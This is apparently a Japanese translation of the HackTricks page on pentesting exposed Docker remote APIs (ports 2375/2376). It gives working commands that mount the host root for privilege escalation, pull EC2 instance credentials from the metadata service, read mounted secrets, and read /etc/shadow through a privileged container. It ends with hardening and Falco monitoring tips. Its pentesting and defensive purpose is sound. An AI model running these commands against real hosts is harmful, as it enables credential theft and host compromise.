ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする。 - **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
## Dockerの基礎 ### 何ですか Dockerは**コンテナ化業界**の**最先端プラットフォーム**であり、**継続的な革新**を牽引しています。これにより、**従来から未来志向まで**のアプリケーションの**簡単な作成と配布**が可能となり、さまざまな環境での**安全な展開**が保証されます。 ### 基本的なDockerアーキテクチャ - **[containerd](http://containerd.io)**: これはコンテナの**ライフサイクルの包括的な管理**を担当する**コアランタイム**であり、**イメージの転送と保存**、さらにはコンテナの**実行、監視、ネットワーキング**を担当します。containerdに関する**詳細な洞察**が**さらに探求**されます。 - **コンテナシム**は、**ヘッドレスコンテナ**の取り扱いにおいて**中間業者**として重要な役割を果たし、コンテナが初期化された後に**runc**からシームレスに引き継ぎます。 - **[runc](http://runc.io)**: 軽量で普遍的なコンテナランタイム機能で高く評価されており、OCI標準に準拠しています。これは、**OCIガイドライン**に従ってコンテナを**起動および管理**するためにcontainerdによって使用され、元の**libcontainer**から進化しました。 - **[grpc](http://www.grpc.io)**は、containerdと**dockerエンジン**の間の**効率的な相互作用**を確保するために**コミュニケーションを促進**するために不可欠です。 - **[OCI](https://www.opencontainers.org)**は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠**しています。 ### 基本的なコマンド ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings docker pull registry:5000/alpine #Download the image docker inspect #Get info of the contaienr docker network ls #List network info docker exec -it /bin/sh #Get shell inside a container docker commit registry:5000/name-container #Update container docker export -o alpine.tar #Export container as tar file docker save -o ubuntu.tar #Export an image docker ps -a #List running and stopped containers docker stop #Stop running container docker rm #Remove container ID docker image ls #List images docker rmi #Remove image docker system prune -a #This will remove: # - all stopped containers # - all networks not used by at least one container # - all images without at least one container associated to them # - all build cache ``` ### Containerd **Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズを満たすために特に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を**簡素化**することを目指しており、オペレーティングシステム固有の機能とシステムコールを抽象化しています。Containerdの目標は、ユーザーが必要とする基本的な機能のみを含めることであり、不要なコンポーネントを省略することを目指しています。ただし、この目標を完全に達成することは困難であると認識されています。 重要な設計上の決定の1つは、**Containerdがネットワーキングを処理しない**ということです。ネットワーキングは、分散システムにおいて重要な要素と見なされ、Software Defined Networking(SDN)やサービスディスカバリなどの複雑さが、プラットフォームによって大きく異なります。そのため、Containerdはネットワーキングの側面をサポートするプラットフォームに管理させることにしています。 **DockerはContainerdを利用**してコンテナを実行しますが、ContainerdはDockerの機能の一部しかサポートしていないことに注意することが重要です。具体的には、ContainerdにはDockerに存在するネットワーク管理機能が欠けており、Dockerスワームの直接的な作成をサポートしていません。この違いは、Containerdがコンテナランタイム環境としての専門的な役割を強調し、より専門的な機能を統合するプラットフォームに委任していることを示しています。 ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images list #List images ctr container create registry:5000/alpine:latest alpine #Create container called alpine ctr container list #List containers ctr container info #Get container info ctr task start #You are given a shell inside of it ctr task list #Get status of containers ctr tasks attach #Get shell in running container ctr task pause #Stop container ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` ### Podman **Podman**は、[Open Container Initiative (OCI)の標準](https://github.com/opencontainers)に準拠したオープンソースのコンテナエンジンであり、Red Hatによって開発およびメンテナンスされています。**デーモンレスアーキテクチャ**と**rootlessコンテナ**のサポートなど、いくつかの独自の機能により、Dockerとは異なる特徴を持っています。これにより、ユーザーはルート権限なしでコンテナを実行できます。 PodmanはDockerのAPIと互換性があり、Docker CLIコマンドの使用が可能です。この互換性は、コンテナイメージのビルドに使用される**Buildah**や、プッシュ、プル、およびインスペクトなどのイメージ操作に使用される**Skopeo**などのツールを含むエコシステムにも適用されます。これらのツールの詳細については、[GitHubページ](https://github.com/containers/buildah/tree/master/docs/containertools)で確認できます。 **主な違い** - **アーキテクチャ**:Dockerのクライアントサーバーモデルとは異なり、バックグラウンドデーモンなしで動作するPodman。この設計により、コンテナは起動したユーザーの権限で実行されるため、ルートアクセスが不要となり、セキュリティが向上します。 - **Systemd統合**:Podmanは**systemd**と統合されており、systemdユニットを介してコンテナを管理できます。これは、Dockerが主にDockerデーモンプロセスを管理するためにsystemdを使用するのとは対照的です。 - **Rootlessコンテナ**:Podmanの重要な機能の1つは、コンテナを起動するユーザーの権限でコンテナを実行できることです。このアプローチにより、攻撃者が侵入したユーザーの権限のみを取得し、ルートアクセスを得ることができないため、コンテナ侵害に関連するリスクが最小限に抑えられます。 Podmanのアプローチは、ユーザー権限の管理と既存のDockerワークフローとの互換性を重視した、安全で柔軟なDockerの代替手段を提供しています。 {% hint style="info" %} PodmanはDockerと同じAPIをサポートすることを目指しているため、PodmanでもDockerと同じコマンドを使用できます。 ```bash podman --version podman info pdoman images ls podman ls ``` {% endhint %} ## 基本情報 リモートAPIは、有効になっている場合、デフォルトで2375ポートで実行されています。デフォルトでは認証が必要ないため、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。 **デフォルトポート:** 2375 ``` PORT STATE SERVICE 2375/tcp open docker ``` ## 列挙 ### 手動 Docker APIを列挙するためには、`docker`コマンドや次の例のように`curl`を使用できます。 ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version {"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"} #Using docker docker -H open.docker.socket:2375 version #Get version Client: Docker Engine - Community Version: 19.03.1 API version: 1.40 Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:21:05 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community Engine: Version: 19.03.1 API version: 1.40 (minimum version 1.12) Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:19:41 2019 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.2.6 GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb runc: Version: 1.0.0-rc8 GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f docker-init: Version: 0.18.0 GitCommit: fec3683 ``` **リモートDocker APIに`docker`コマンドで接続できる場合**、サービスとやり取りするために[**以前にコメントされたdockerコマンド**](2375-pentesting-docker.md#basic-commands)の**いずれかを実行**できます。 {% hint style="info" %} `export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用せずに**設定できます。 {% endhint %} #### 速い特権昇格 ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` #### Curl 時々、**TLS** エンドポイントで **2376** が見られます。docker クライアントで接続できないことがありますが、curl を使用して接続することが可能です。 ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq #Check what is mounted curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' #Get the output by starting the exec curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' #Cat the mounted secret curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' #List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables) curl -s –insecure https://tls-opendocker.socket:2376/services | jq #Creating a container that has mounted the host file system and read /etc/shadow curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' #Stop the container curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` ### 自動 ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` ## Compromising 以下のページでは、**Dockerコンテナから脱出する方法**を見つけることができます: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} これを悪用すると、コンテナから脱出することが可能であり、リモートマシンで弱いコンテナを実行し、そこから脱出してマシンを侵害することができます。 ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) ## 特権昇格 Dockerを使用しているホスト内にいる場合は、[**この情報を読んで特権を昇格しようとしてください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 ## 実行中のDockerコンテナ内の秘密の発見 ```bash docker ps [| grep ] docker inspect ``` **env**(環境変数セクション)をチェックしてシークレットを見つけることができます: - パスワード。 - IPアドレス。 - ポート。 - パス。 - その他...。 ファイルを抽出したい場合: ```bash docker cp :/etc/ ``` ## Dockerのセキュリティ強化 ### Dockerのインストールと使用のセキュリティ強化 * 現在のDockerインストールを調査するために[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)ツールを使用できます。 * `./docker-bench-security.sh` * 現在のDockerインストールを調査するために[https://github.com/kost/dockscan](https://github.com/kost/dockscan)ツールを使用できます。 * `dockscan -v unix:///var/run/docker.sock` * 異なるセキュリティオプションで実行される場合のコンテナの権限を調べるために[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)ツールを使用できます。これは、コンテナを実行する際に一部のセキュリティオプションを使用することの影響を知るのに役立ちます: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` ### Dockerイメージのセキュリティ強化 * 他のDockerイメージをスキャンして脆弱性を見つけるために[https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用できます。 * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` ### Dockerfileのセキュリティ強化 * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)ツールを使用できます。各ミス構成にはIDが割り当てられ、[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。 * `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (418).png>) * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)ツールを使用できます。 * `dockerfilelint Dockerfile` ![](<../.gitbook/assets/image (419).png>) * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)ツールを使用できます。 * `dockerlint Dockerfile` ![](<../.gitbook/assets/image (420).png>) * Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)ツールを使用できます。 * `hadolint Dockerfile` ![](<../.gitbook/assets/image (421).png>) ### 疑わしいアクティビティのログ記録 * 実行中のコンテナで疑わしい動作を検出するために[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)ツールを使用できます。 * 次のチャンクで**Falcoがカーネルモジュールをコンパイルして挿入**する方法に注目してください。その後、ルールを読み込み、**疑わしいアクティビティを記録**を開始します。この場合、特権コンテナが2つ開始され、そのうち1つが機密マウントを持っていることが検出され、数秒後にコンテナ内でシェルが開かれたことが検出されました。 ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host * Unloading falco-probe, if present * Running dkms install for falco Kernel preparation unnecessary for this kernel. Skipping... Building module: cleaning build area...... make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build............. cleaning build area...... DKMS: build completed. falco-probe.ko: Running module version sanity check. modinfo: ERROR: missing module or filename. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory depmod... DKMS: install completed. * Trying to load a dkms falco-probe, if present falco-probe found and loaded in dkms 2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml 2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml: 2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765 2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04) 2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave) 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` ### Dockerの監視 auditdを使用してDockerを監視できます。 ## 参考文献 * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。 * **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。